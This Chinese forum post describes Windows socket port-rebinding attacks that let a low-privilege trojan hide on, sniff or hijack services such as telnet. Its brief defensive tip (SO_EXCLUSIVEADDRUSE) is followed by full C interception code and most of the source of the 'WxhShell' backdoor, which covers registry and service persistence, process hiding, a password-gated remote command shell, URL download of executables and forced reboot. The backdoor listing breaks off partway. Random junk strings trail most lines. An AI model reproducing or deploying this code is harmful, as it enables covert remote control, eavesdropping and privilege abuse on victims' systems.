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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6??o(ziK$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r'!HWR  
b=V"$(Q  
  saddr.sin_family = AF_INET; , 7` /D  
!Q-h#']~L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V L^.7U  
kzMul<>sl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %[1\d)  
608}-J=3#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c~_nO d  
96L-bBtyY  
  这意味着什么?意味着可以进行如下的攻击: 1|]IWX|  
to}g4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Dt1v`T~=?  
nC-=CMWWr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k,) xv?  
zWN/>~}U \  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tyEa5sy4  
(s:ihpI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cr}T ? $\K  
v|\<N!g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (lNV\Za  
B =EI&+F+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |rjHH<  
rV yw1D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uL\b*rI  
jkTh)Bm|'  
  #include P}YtT3. K  
  #include *u?QO4>  
  #include y. xt7 F1  
  #include    R?%J   
  DWORD WINAPI ClientThread(LPVOID lpParam);   h=:*cqp4  
  int main() 4rcNBmA,  
  { bOEO2v'cQ  
  WORD wVersionRequested; +"sjkdum1  
  DWORD ret; &U_YDUQ'L  
  WSADATA wsaData; ]lT8Z-h@  
  BOOL val; D=B$ Pv9%  
  SOCKADDR_IN saddr; $)HD`E  
  SOCKADDR_IN scaddr; %l4;-x<e  
  int err; ^M:Y$9r_s  
  SOCKET s; zmA]@'j  
  SOCKET sc; ~}lYp^~:J  
  int caddsize; ,M4G_U[  
  HANDLE mt; lpjeEaw o4  
  DWORD tid;   -<g&U*/E  
  wVersionRequested = MAKEWORD( 2, 2 ); i6S5 4&^!  
  err = WSAStartup( wVersionRequested, &wsaData ); n! Dr:$  
  if ( err != 0 ) { \wJ2>Q  
  printf("error!WSAStartup failed!\n"); iMT[s b  
  return -1; "aU) [  
  } q=EHB5!q  
  saddr.sin_family = AF_INET; A` 'k5uG  
   aUy!(Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |S0w>VH>  
QLs9W& PG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0XcH  
  saddr.sin_port = htons(23); $ \yZ;Z:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j_(DH2D  
  { &["s/!O1R  
  printf("error!socket failed!\n"); j&(Yk"j+  
  return -1; Ipp#{'Do  
  } P{bRRn4Z  
  val = TRUE; GiZv0>*x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mr0<b?I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <W>T!;4!  
  { 8 vp*U  
  printf("error!setsockopt failed!\n"); |w{}h6 a  
  return -1; 2bs={p$}a  
  } +jEtu[ ;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9}[UZN6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q.U wtH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '3p7ee&  
Jw 4#u5$$Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^vj}  
  { s~z~9#G(6  
  ret=GetLastError(); }&*wJ]j`L  
  printf("error!bind failed!\n"); & t.G4  
  return -1; 5[[mS  
  } ]ZMFK>"^%  
  listen(s,2); RXi/&'+H  
  while(1) )Ja&Y  
  { eP?=tUB!S  
  caddsize = sizeof(scaddr);  ?W3l  
  //接受连接请求 #VvU8"u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); } SNZl`>  
  if(sc!=INVALID_SOCKET) xg^Z. q)d  
  { O)aWTI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rA\6y6dFs  
  if(mt==NULL) Z!& u_  
  { up@I,9C/  
  printf("Thread Creat Failed!\n"); 8PB 8h  
  break; L0Ycf|[s,  
  } +W%3VV$  
  } ; u@& [  
  CloseHandle(mt); t@;r~S b  
  } 5r)]o'? s  
  closesocket(s); d:L|BkQ7*  
  WSACleanup(); {f(RYj  
  return 0; Y'{F^VxA/  
  }   W"v"mjYud  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^. p d'  
  { +_T`tmQ  
  SOCKET ss = (SOCKET)lpParam; W>o>Y$H  
  SOCKET sc; W{i s2s  
  unsigned char buf[4096]; xXRlQ|84  
  SOCKADDR_IN saddr; 2.2G79 U,  
  long num; \C}_l+nY  
  DWORD val; mm:g9j  
  DWORD ret; W\pO`FL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m<e_Z~^G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~PtIq.BY  
  saddr.sin_family = AF_INET; @2;/-,4O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  Tb[1\  
  saddr.sin_port = htons(23); z[sP/{~z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k9_c<TSzu  
  { Ncr*F^J4  
  printf("error!socket failed!\n"); k0v&U@+-J  
  return -1; fe4Ki  
  } h]jy):9L  
  val = 100; a;h.I}*]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZnAXb S  
  { wj{[g^y%  
  ret = GetLastError(); KCl85Wi'  
  return -1; di4>Ir~]  
  } M(Tlkr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'JRYf;9c  
  { >X_5o^s2s  
  ret = GetLastError(); m#,AD,s  
  return -1; \|YIuzlO4  
  } u Wxl\+_i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =v{Vl5&>?  
  { ;i,3KJ[L  
  printf("error!socket connect failed!\n"); O%)Wo?)HM  
  closesocket(sc); '/'dg5bfV  
  closesocket(ss); m>9j dsqB  
  return -1; od-yVE&  
  } 2r"J"C  
  while(1) l 2ARM3"  
  { +pY-- 5t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "j/jhe6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [:(hqi!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E0)43  
  num = recv(ss,buf,4096,0); D$U`u[qjtS  
  if(num>0) Pk{%2\%&2  
  send(sc,buf,num,0); 61W[  
  else if(num==0) ^N&@7s  
  break; @h,3"2W{Ev  
  num = recv(sc,buf,4096,0); WD>z  
  if(num>0) dvu8V_U  
  send(ss,buf,num,0);  \RS ,Y  
  else if(num==0) t`")Re_j  
  break; eXAJ%^iD  
  } Q#5~"C  
  closesocket(ss); ;J,`v5z0:  
  closesocket(sc); \h@3dJ4  
  return 0 ; awl3|k/  
  } t Uk)S  
b!JrdJO,DP  
d T7!+)s5-  
========================================================== ;R([w4[~  
-oT3`d3  
下边附上一个代码,,WXhSHELL 2C AR2V|  
KA? J:  
========================================================== F EA t6  
%j/}e>$"Nk  
#include "stdafx.h" lSG]{  
\IP 9EFA  
#include <stdio.h> PY MofQaZ  
#include <string.h> P?hB`5X  
#include <windows.h> +-:o+S`q~  
#include <winsock2.h> ?k^~qlye  
#include <winsvc.h> b8LA|#]i  
#include <urlmon.h> 4x-K0  
Kz"&:&R"  
#pragma comment (lib, "Ws2_32.lib") r1BL?&X-  
#pragma comment (lib, "urlmon.lib") 9~{,Hj1xE  
zG)vmysJf  
#define MAX_USER   100 // 最大客户端连接数 k] A(nr  
#define BUF_SOCK   200 // sock buffer lkW5<s_  
#define KEY_BUFF   255 // 输入 buffer >o1,Y&  
PYiO l  
#define REBOOT     0   // 重启 %.WW-S3  
#define SHUTDOWN   1   // 关机 T|-llhJ8  
$DW__h  
#define DEF_PORT   5000 // 监听端口 #A&49a3^1  
ldnKV&N  
#define REG_LEN     16   // 注册表键长度 :3[;9xCHj  
#define SVC_LEN     80   // NT服务名长度 xri(j,mU  
k\X yR4r  
// 从dll定义API 7$mB.\|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6x;!E&<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U%n>(!d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dVSQG947i:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7/K L<T9@  
I2WWhsNC  
// wxhshell配置信息 05Q4$P  
struct WSCFG { z @?WhD  
  int ws_port;         // 监听端口 [)?yH3  
  char ws_passstr[REG_LEN]; // 口令 P1^O0)  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q<Qd*v&-  
  char ws_regname[REG_LEN]; // 注册表键名 _p'u!.a?!  
  char ws_svcname[REG_LEN]; // 服务名 =E62N7_`=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (>uA(#Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *i {e$Zv'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e>x+Xj1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3oV2Ek<d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3+&k{UZjt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t +|t/1s2  
>T)tAZ?WK  
}; @F/,~|{iM  
2({|LQqk  
// default Wxhshell configuration ECk3Da  
struct WSCFG wscfg={DEF_PORT, ]xGpN ]u  
    "xuhuanlingzhe", eo~b]D  
    1, /!%?I#K{Wq  
    "Wxhshell", tn;{r  
    "Wxhshell", X\kWJQ:  
            "WxhShell Service", 2BiFP||  
    "Wrsky Windows CmdShell Service", (+SL1O P  
    "Please Input Your Password: ", \Vpv78QF;  
  1,  $Gcjm~  
  "http://www.wrsky.com/wxhshell.exe", *z};&UsF{  
  "Wxhshell.exe" ]c M8TT  
    }; kt |j]:  
5Z:T9F4  
// 消息定义模块 N'CW Sf.e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tRo` @eEX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h.wffk,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'e_e*.z3  
char *msg_ws_ext="\n\rExit."; 4X!4S6JfB  
char *msg_ws_end="\n\rQuit."; gvr&7=p  
char *msg_ws_boot="\n\rReboot..."; !>f:wk2  
char *msg_ws_poff="\n\rShutdown..."; -s0\4  
char *msg_ws_down="\n\rSave to "; <"8F=3:uk  
4"UH~A;^  
char *msg_ws_err="\n\rErr!"; 2f1Q&S  
char *msg_ws_ok="\n\rOK!"; cl`7|;v|?  
y t7>,  
char ExeFile[MAX_PATH]; { <1uV']x  
int nUser = 0; 4 !m'9  
HANDLE handles[MAX_USER]; 4I9Yr  
int OsIsNt; $y{.fjy3  
;p7R~17  
SERVICE_STATUS       serviceStatus; S$gLL kD1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =!)x`1j!S  
?dXAHY  
// 函数声明 BF 0#G2`h>  
int Install(void); `KZu/r-M9  
int Uninstall(void); UC j:]!P  
int DownloadFile(char *sURL, SOCKET wsh); _GM?`  
int Boot(int flag); ui-]%~  
void HideProc(void); ^CgN>-xZ?#  
int GetOsVer(void); ttls.~DG  
int Wxhshell(SOCKET wsl); wp83E,  
void TalkWithClient(void *cs); Bw~jqDZ}|  
int CmdShell(SOCKET sock); 6uTC2ka[&R  
int StartFromService(void); %`~+^{Wp  
int StartWxhshell(LPSTR lpCmdLine); rGrR;  
G9Noch9 g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fhyoSRLR:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j7$xHnV4  
QNXoAx%I  
// 数据结构和表定义 _.E{>IFw  
SERVICE_TABLE_ENTRY DispatchTable[] = 9GsG*$-I  
{  f^KN8N  
{wscfg.ws_svcname, NTServiceMain}, xm5?C>vu(  
{NULL, NULL} +d?|R5{3  
}; KyQTrl.qdl  
+Jm vB6s  
// 自我安装 JTObyAoW  
int Install(void) DWEDL[{  
{ e1y#p3 @d  
  char svExeFile[MAX_PATH]; (BngwLVDK  
  HKEY key; N|%r5%  
  strcpy(svExeFile,ExeFile); =k,?+h~  
X,Rl&K\b"  
// 如果是win9x系统,修改注册表设为自启动 ,N;2"$+E  
if(!OsIsNt) { dkY JO!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =M}tet }  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); It<VjN9  
  RegCloseKey(key); bxzx@sF2l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e"*1l>g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $:# :"  
  RegCloseKey(key); 4GH&u,  
  return 0; +XSe;xk;rD  
    } A@Lr(L  
  }  ?!<Q8=  
} ^Epup$  
else { F'F 6 &a+  
5;G0$M0  
// 如果是NT以上系统,安装为系统服务 J{\(Y#|rHs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &['L7  
if (schSCManager!=0) Mlr'h}:H  
{ j9yOkaVEg  
  SC_HANDLE schService = CreateService |i~-,:/-Y  
  ( BsL+9lNue  
  schSCManager, @!j6y (@  
  wscfg.ws_svcname, bg/=P>2  
  wscfg.ws_svcdisp, hS*&p0YV~M  
  SERVICE_ALL_ACCESS, ]Yf^O @<<>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cM CM>*X  
  SERVICE_AUTO_START, x^ `IZ{!  
  SERVICE_ERROR_NORMAL, !* KQ2#e  
  svExeFile, ExN $J  
  NULL, t: oQHhO?  
  NULL, Ujlbcv6+  
  NULL, 9HPmJ`b  
  NULL, "q1S.3V;  
  NULL fJ0V|o  
  ); P;K LN9/4  
  if (schService!=0) X y`2ux+>/  
  { Z:Vde^Ih  
  CloseServiceHandle(schService); >I<}:=   
  CloseServiceHandle(schSCManager); I3b*sx$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /9,'.  
  strcat(svExeFile,wscfg.ws_svcname); .'$8Hj;@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '9zKaL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q`NdsS2  
  RegCloseKey(key); %IE;'aa }  
  return 0; Gy;Fe=  
    } WPrBK{B`o  
  } E:k]Z  
  CloseServiceHandle(schSCManager); )MLbE-@  
} FCOa|IKsN  
} /R?[/`)f&  
`rK@> -  
return 1; BTYYp1  
} /hmDeP o}  
~-y&C%  
// 自我卸载 {0n p  
int Uninstall(void) PkZ1Db  
{ U$y wO4.  
  HKEY key; lrwQ >N  
]~VuY:abH  
if(!OsIsNt) { -QR]BD%J*[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @GGQ13Cj(  
  RegDeleteValue(key,wscfg.ws_regname); `IJ)'$pn  
  RegCloseKey(key); G@Sqg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z!Z{Gm3  
  RegDeleteValue(key,wscfg.ws_regname); a(*"r:/lD  
  RegCloseKey(key); MxUbx+_N  
  return 0; ?.uhp  
  } m #G,m  
} ssS"X@VZ \  
} 08{^Ksg  
else { g kV`ZT9  
[s\8@5?E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #_`p 0wY  
if (schSCManager!=0) ^$C&{%  
{ NFtA2EMLu[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MK@rx6<9  
  if (schService!=0) jJNl{nyq  
  { 6uKth mr  
  if(DeleteService(schService)!=0) { (d@(QJ  
  CloseServiceHandle(schService); !Q<3TfC  
  CloseServiceHandle(schSCManager); Wd+G)Mu_=  
  return 0; )m+O.`x  
  } zDEgC  
  CloseServiceHandle(schService); .Y^3G7On  
  } EkRx/  
  CloseServiceHandle(schSCManager); LR!%iP  
} =S6bP<q  
} 0UW_ Pbh6  
.w _BA)  
return 1; [u=yl0f  
} gdoaXw;Sy  
3Nwix_&S  
// 从指定url下载文件 yB/F6/B~  
int DownloadFile(char *sURL, SOCKET wsh) s-(c-E09  
{ _V e)M%  
  HRESULT hr; D| <_96_m  
char seps[]= "/"; ZR%$f-  
char *token; /ueOc<[8"  
char *file; (UhJ Pco"  
char myURL[MAX_PATH]; }EHL }Q  
char myFILE[MAX_PATH]; Q9h=1G\K  
5} <OB-9  
strcpy(myURL,sURL); E(_k#X  
  token=strtok(myURL,seps); Rq e|7/As  
  while(token!=NULL) @%*@Rar  
  { n%RaEL  
    file=token; u|.|dv'mbp  
  token=strtok(NULL,seps); :xq{\"r  
  } "VHT5k  
~`^kP.()  
GetCurrentDirectory(MAX_PATH,myFILE); BB9eQ: xO  
strcat(myFILE, "\\"); {oF;ZM'r  
strcat(myFILE, file); Vr"'O6  
  send(wsh,myFILE,strlen(myFILE),0); ^+-]V9?+  
send(wsh,"...",3,0); [{#T N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %C #Ps   
  if(hr==S_OK) &iq'V*+-\  
return 0; WA1yA*S  
else \ZhkOl  
return 1; $Q}L*4?]  
n[qnrk*3 %  
} u rQvJ  
]Ol w6W?%  
// 系统电源模块 tJQZRZViu  
int Boot(int flag) [`E_/95  
{ bG*l_  
  HANDLE hToken; ?/5<}W#7}  
  TOKEN_PRIVILEGES tkp; xluA jOQ6  
hVT>HER  
  if(OsIsNt) { $FIJI^Kd7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >Di`zw~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *SI,K)BP  
    tkp.PrivilegeCount = 1; _*[vKS A&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1:M'|uc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ",[/pb  
if(flag==REBOOT) { g`C"t3~%S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =B'Yx  
  return 0; $G}k'[4C  
} z#|Auc0  
else {  lX/7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Er8F_,M+  
  return 0; W!kF(O NA  
} ._;It198f  
  } =w8 0y'  
  else {  lA4J#  
if(flag==REBOOT) { 38l:Y"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  &z*4Uij  
  return 0; sAs`O@  
} w 8cnSO  
else { yLnTIE3)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bO6cv{>x  
  return 0; qJK9C `T%  
} S:xs[b.ZZ  
} e.(d?/!F_  
ygm6(+  
return 1; n}1hmAh Z  
} qh&KNJ>1  
+!`$(  
// win9x进程隐藏模块 Ln+ k_  
void HideProc(void) *!Gb_!98  
{ ;[g~h |{6  
A,4} $-7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4\ )WMP  
  if ( hKernel != NULL ) MIZ!+[At  
  { [xGL0Z%)t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^ yF Wvfh4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >Rdi]:]Bv  
    FreeLibrary(hKernel); 1GLb^:~A  
  } kDE:KV<"c  
,m7Z w_.  
return; 9!2$?xqym  
} j E5=e</  
nSZp,?^  
// 获取操作系统版本 Kuk@x.~0m  
int GetOsVer(void) 0lcwc"_DZX  
{ LS# _K-  
  OSVERSIONINFO winfo; #L*MMC"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K&dc< 4DC  
  GetVersionEx(&winfo); {+kWK;1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L+lye Ir'  
  return 1; AGVipI #  
  else aK,\e/Oo  
  return 0; m{lS-DlRg  
} 6 {3ql:  
@}+B%R  
// 客户端句柄模块 -wNhbV2  
int Wxhshell(SOCKET wsl)  Spo[JQ%6  
{ CJ#Yu3}  
  SOCKET wsh; chE}`I?  
  struct sockaddr_in client; P;&U3i  
  DWORD myID; NX]6RZr-  
(15.?9  
  while(nUser<MAX_USER) 3rX8H`R  
{ `@:k*d  
  int nSize=sizeof(client); ,S, R6#3G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V|nJ%G\  
  if(wsh==INVALID_SOCKET) return 1; q^@*k,HG  
{w99~?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,? &$ c+  
if(handles[nUser]==0) 1ahb:Mjv  
  closesocket(wsh); XFww|SG$  
else MpIP)bdq7  
  nUser++; PbMvM  
  } W%9"E??c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5(Xq58nhxI  
g J$m'kC;  
  return 0; MSt@yKq  
} Z$)jPDSr  
%.{xo.`a[  
// 关闭 socket X%B2xQM 5  
void CloseIt(SOCKET wsh) =A"z.KfV  
{ jwwst\f  
closesocket(wsh); eN<?rVZl  
nUser--; Mt12 1Q&"  
ExitThread(0); oT}Sh4Wt.  
} cavzXz  
G)9`Qn  
// 客户端请求句柄 T=pKen/  
void TalkWithClient(void *cs) 2&F  H8  
{ uv7tbI"r  
+2s][^-KV  
  SOCKET wsh=(SOCKET)cs; z}7U>y6`  
  char pwd[SVC_LEN]; E `%*lGu_  
  char cmd[KEY_BUFF]; ~~WX#Od*$  
char chr[1]; %BRll  
int i,j; 6b4]dvl_  
elP#s5l4  
  while (nUser < MAX_USER) { :Ui'x8yt  
H<`7){iG  
if(wscfg.ws_passstr) { M;@/697G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `{J(S'a`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >9Y0t^Fl  
  //ZeroMemory(pwd,KEY_BUFF); _#o75*42tT  
      i=0; *eUxarI  
  while(i<SVC_LEN) { &+pp;1ls  
? ~_h3bHH  
  // 设置超时 Vvl8P|x.<  
  fd_set FdRead; byj7c(  
  struct timeval TimeOut; YzAGhAyw  
  FD_ZERO(&FdRead); };8PPR)\y  
  FD_SET(wsh,&FdRead); Ng1[y4R}  
  TimeOut.tv_sec=8; X.ZY1vO  
  TimeOut.tv_usec=0; Z3A"GWY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -/6Ms%O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5 |oi*b  
yrrP#F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]-u>HO g\  
  pwd=chr[0]; ]i'gU(+;`  
  if(chr[0]==0xd || chr[0]==0xa) { I%ZSh]On  
  pwd=0; M0RVEhX  
  break; B+=Xb;p8  
  } K%>3ev=y.s  
  i++; 1f5;^T I  
    } th|TwD&mO  
ebB8.(k9G3  
  // 如果是非法用户,关闭 socket 0J9Ub   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YoRD9M~iG~  
} G/}nwj\  
7C^W<SUo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '\B!1B>T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +}!FP3KgT  
AaJnRtBS~  
while(1) { xy<)zKp  
\F),SL  
  ZeroMemory(cmd,KEY_BUFF); _ ~E_#cNn  
0Y ld!L  
      // 自动支持客户端 telnet标准   ltG|#(  
  j=0; g6<D 1r  
  while(j<KEY_BUFF) { [ST7CrwC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .?-]+ -J?`  
  cmd[j]=chr[0]; 1BA5|  
  if(chr[0]==0xa || chr[0]==0xd) { P;l D ri  
  cmd[j]=0; %;tBWyq}_  
  break; u=!n9W~"  
  } <o&\/uO~H  
  j++; $PKUcT0N9  
    }  Wwo`R5  
uF\f>E)/N%  
  // 下载文件 si>gYO  
  if(strstr(cmd,"http://")) { {DGnh1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]AdL   
  if(DownloadFile(cmd,wsh)) WzO[-csy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V]A*' ke/  
  else 1ba* U~OEg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?O#,|\v?]  
  } V']1j  
  else { $3 ~ /H"K  
!5h@uar  
    switch(cmd[0]) { I)cA:Ip  
  PsoW:t  
  // 帮助 Z <vTr6?  
  case '?': { 3gU*,K7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R//S(eU68\  
    break; /c-%+Xd  
  } nL-kBW Ed>  
  // 安装 -&_;x&k /  
  case 'i': { +^@6{1  
    if(Install()) 5NAB^&{Z<X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cr$8\{2OA7  
    else c9N5c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WCZeY?_^c  
    break; sD`OHV:  
    } UG<`m]  
  // 卸载 5iP{)  
  case 'r': { v?(9ZY]  
    if(Uninstall()) &IgH]?t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cu$i8$?t   
    else $79-)4;z4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Wz\FixP0  
    break; ?o6\>[O  
    } CaqMLi%  
  // 显示 wxhshell 所在路径 05Go*QvV  
  case 'p': { Y]Y]"y$1  
    char svExeFile[MAX_PATH]; G .k\N(l  
    strcpy(svExeFile,"\n\r"); DANndXQLH  
      strcat(svExeFile,ExeFile); DFFB:<  
        send(wsh,svExeFile,strlen(svExeFile),0); {oc7Chv=/H  
    break; 23=SXA!  
    } nvnJVkL9s  
  // 重启 ?e+$?8l[3  
  case 'b': { \Zms  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  #mcU);s  
    if(Boot(REBOOT)) Kf-rthO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); maTZNzy  
    else { TdH~ sz  
    closesocket(wsh); rCdf*;  
    ExitThread(0); GLIP;)h1  
    } 1(12`3  
    break; f$^+;j  
    } [?Ub =sp  
  // 关机 i@ XFnt  
  case 'd': { CHRO9  
